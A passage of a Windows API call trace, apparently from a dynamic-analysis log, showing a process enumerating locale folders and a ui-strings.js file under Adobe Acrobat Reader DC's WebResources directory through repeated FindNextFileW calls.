ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0190.388] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0190.388] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0190.388] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0190.389] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0190.389] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0190.389] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0190.389] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0190.389] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0190.389] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0190.389] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0190.390] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0190.390] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0190.390] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0190.390] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0190.390] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0190.390] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0190.390] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0190.391] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0190.391] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0190.391] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0190.391] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0190.391] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0190.391] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0190.391] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0190.392] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0190.392] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0190.392] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0190.392] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0190.392] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0190.392] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0190.392] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0190.393] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0190.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe90) returned 1 [0190.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe50) returned 1 [0190.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebf50) returned 1 [0190.393] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls", nBufferLength=0x105, lpBuffer=0x203eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls", lpFilePart=0x0) returned 0x71 [0190.393] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\*", lpFindFileData=0x203ebc70 | out: lpFindFileData=0x203ebc70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0190.394] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.394] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0190.395] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0190.395] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0190.395] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0190.395] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0190.395] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0190.395] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0190.395] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0190.395] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0190.395] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0190.396] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0190.396] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0190.396] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, 